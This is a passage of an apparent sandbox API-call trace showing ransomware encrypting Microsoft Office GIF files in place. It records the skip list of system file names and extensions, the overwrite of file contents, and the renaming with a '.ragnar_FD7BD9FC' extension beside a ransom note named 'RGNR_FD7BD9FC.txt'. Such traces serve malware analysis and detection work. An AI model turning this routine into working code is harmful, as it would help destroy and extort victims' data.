office\\media\\office14\\bullets\\bd14791_.gif")) returned 0x20 [0098.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.992] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1115) returned 1 [0098.992] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x452, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.992] GetProcessHeap () returned 0x580000 [0098.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.992] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.994] VirtualAlloc (lpAddress=0x0, dwSize=0x45b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.994] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.994] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.994] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x45b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x45b, lpOverlapped=0x0) returned 1 [0098.994] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.994] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x45b, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.994] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x45b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x45b, lpOverlapped=0x0) returned 1 [0098.994] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x45b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.994] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.994] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x45b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.994] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.995] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.995] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.995] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.995] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.995] GetProcessHeap () returned 0x580000 [0098.995] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.995] CloseHandle (hObject=0x10c) returned 1 [0098.995] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF" [0098.995] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF.ragnar_FD7BD9FC" [0098.995] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.996] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14792_.GIF", cAlternateFileName="")) returned 1 [0098.996] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.996] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14792_.GIF" | out: lpString1="BD14792_.GIF") returned="BD14792_.GIF" [0098.996] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF") returned=".GIF" [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="autorun.inf") returned 1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="boot.ini") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="bootfont.bin") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="bootsect.bak") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="bootmgr") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="bootmgr.efi") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="desktop.ini") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="iconcache.db") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="ntldr") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="ntuser.dat") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="ntuser.ini") returned -1 [0098.996] lstrcmpiW (lpString1="BD14792_.GIF", lpString2="thumbs.db") returned -1 [0098.996] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.996] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.996] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.996] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.996] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.996] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.996] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif")) returned 0x20 [0098.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.997] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=251) returned 1 [0098.997] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.997] GetProcessHeap () returned 0x580000 [0098.997] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.997] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.998] VirtualAlloc (lpAddress=0x0, dwSize=0xfb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.998] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.998] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.998] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xfb, lpOverlapped=0x0) returned 1 [0098.998] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.998] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfb, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.998] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xfb, lpOverlapped=0x0) returned 1 [0098.999] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.999] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.999] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.999] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.999] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.999] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.999] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.999] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.999] GetProcessHeap () returned 0x580000 [0098.999] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.999] CloseHandle (hObject=0x10c) returned 1 [0098.999] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF" [0098.999] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF.ragnar_FD7BD9FC" [0098.999] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.000] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14793_.GIF", cAlternateFileName="")) returned 1 [0099.000] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.000] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14793_.GIF" | out: lpString1="BD14793_.GIF") returned="BD14793_.GIF" [0099.000] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF") returned=".GIF" [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="autorun.inf") returned 1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="boot.ini") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="bootfont.bin") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="bootsect.bak") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="bootmgr") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="bootmgr.efi") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="desktop.ini") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="iconcache.db") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="ntldr") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="ntuser.dat") returned -1 [0099.000] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.001] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="ntuser.ini") returned -1 [0099.001] lstrcmpiW (lpString1="BD14793_.GIF", lpString2="thumbs.db") returned -1 [0099.001] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.001] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.001] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.001] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.001] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.001] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.001] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif")) returned 0x20 [0099.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.001] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=240) returned 1 [0099.001] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.001] GetProcessHeap () returned 0x580000 [0099.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.001] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.002] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.002] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.003] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.003] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xf0, lpOverlapped=0x0) returned 1 [0099.003] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.003] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf0, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.003] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xf0, lpOverlapped=0x0) returned 1 [0099.003] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.003] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.003] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.003] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.003] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.003] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.003] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.004] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.004] GetProcessHeap () returned 0x580000 [0099.004] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.004] CloseHandle (hObject=0x10c) returned 1 [0099.004] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF" [0099.004] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF.ragnar_FD7BD9FC" [0099.004] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.004] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14794_.GIF", cAlternateFileName="")) returned 1 [0099.005] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.005] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14794_.GIF" | out: lpString1="BD14794_.GIF") returned="BD14794_.GIF" [0099.005] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF") returned=".GIF" [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="autorun.inf") returned 1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="boot.ini") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="bootfont.bin") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="bootsect.bak") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="bootmgr") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="bootmgr.efi") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="desktop.ini") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="iconcache.db") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="ntldr") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="ntuser.dat") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="ntuser.ini") returned -1 [0099.005] lstrcmpiW (lpString1="BD14794_.GIF", lpString2="thumbs.db") returned -1 [0099.005] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.005] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.005] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.005] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.005] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.005] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.005] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif")) returned 0x20 [0099.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.007] GetFileSizeEx (in: 